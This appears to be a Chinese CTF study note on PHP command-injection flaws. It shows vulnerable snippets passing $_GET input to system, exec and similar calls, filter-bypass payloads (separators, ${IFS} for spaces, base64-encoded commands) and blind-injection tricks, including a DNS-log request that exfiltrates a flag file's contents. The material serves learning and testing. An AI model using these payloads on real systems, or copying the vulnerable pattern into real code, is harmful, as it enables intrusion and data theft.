命令执行漏洞整理

命令执行漏洞的成因是,由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并提交服务器执行。

命令执行相关函数

system

1
2
3
4
<?php
$c = $_GET['c'];
system($c);
?

c变量是可控的 这就造成了命令执行。system执行后结果会返回到页面。

QQ截图20200208143134.png

passthru

和system函数类似

1
2
3
4
5
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
passthru($c);
?>

exec

exec也可造成命令执行 但和前两个函数不同的是他不会直接将结果返回到页面 需要打印。

string exec (string command, array &output, int &return_var)
command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值

QQ截图20200208143854.png

打印$b的目的是获取每一行字符串。

shell_exec

1
2
3
4
<?php
$c = $_GET['c'];
var_dump(shell_exec($c));
?>

本身也是不可以回显需要打印。

反引号造成的命令执行

另外补充一点就是 如果可控变量在反引号内 那么也可造成命令执行。只不过一般项目里会肥肠少见。。。

1
2
3
4
<?php
$c = $_GET['c'];
var_dump(`$c`);
?>

命令执行的绕过

规定执行代码

例如有这样一种情况

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
$rce = "echo 123";
system($rce.$c);
?>

1581146705490.png

1
2
3
4
这里绕过方法不止一种
c=1%0awhoami 换行绕过
c=1;whoami 利用分号绕过
c=1|whoami 管道符绕过

过滤空格

有些时候 我们执行命令 如 cat flag.txt 中间必须要有空格才可打开此文件读到内容。但是如果空格被过滤我们就应该用一些字符来替代空格

1
2
3
4
<	可替代空格
${IFS} 可替代空格
$IFS$1 可替代空格
%09 (url传递可替代空格)

QQ截图20200208153511.png

关键字过滤绕过

记得年底的时候貌似坐过一道命令执行相关的ctf过滤了关键字

这里题目记不太清了 简单写个思路

1
2
3
a=l;b=s;$a$b	//大家都知道。。。
//利用base64加密解密
`echo d2hvYW1p|base64 -d` //linux下执行输出whoami命令 注意加反引号

QQ截图20200208154359.png

无回显命令执行

1
2
3
4
无回显情况如何判断 命令是否执行?
延时
http请求
dns请求

QQ图片20200208195321.png

例如这种 没有打印次函数不会显示结果的。那么我们如何去判断 有没有带入命令呢 这时候我们来加一个延时 思路有点类似于盲注?

QQ图片20200208195518.png

管道符加sleep可以明显感觉到 网页刷新慢了三秒钟 即可判断存在无回显命令执行。

如果是可通讯状态下 可以利用这个点发起一个http请求到自己的vps 然后vps进行监听

1
nc -lv 8080

收到请求则证明存在命令执行。

dnslog

请求内容换成 从服务器读取的数据 之后可以看到从dnslog上看到请求结果

risfIC8glTWBLcu.png

你可能会问 为什么不直接flag.txt……..

脑子不好用 把PHP写成了 txt 只是个例子 自己把它当成flag.php就好了

QQ图片20200210153040.jpg

ping的话发送的是dns请求那么dnslog肯定是可以用的

QQ图片20200208215236.png

请求内容里不能包含空格 我们在请求dnslog的时候应该替换一下

1
ping aaa bbb.dns.log 因为这样是不可以ping的 地址不应该包含空格

这里将空格替换成666

1
`cat flag.txt|sed s/[[:space:]]/666/`.test.dnslog.link

1581170146264.png

访问一下拿到了flag。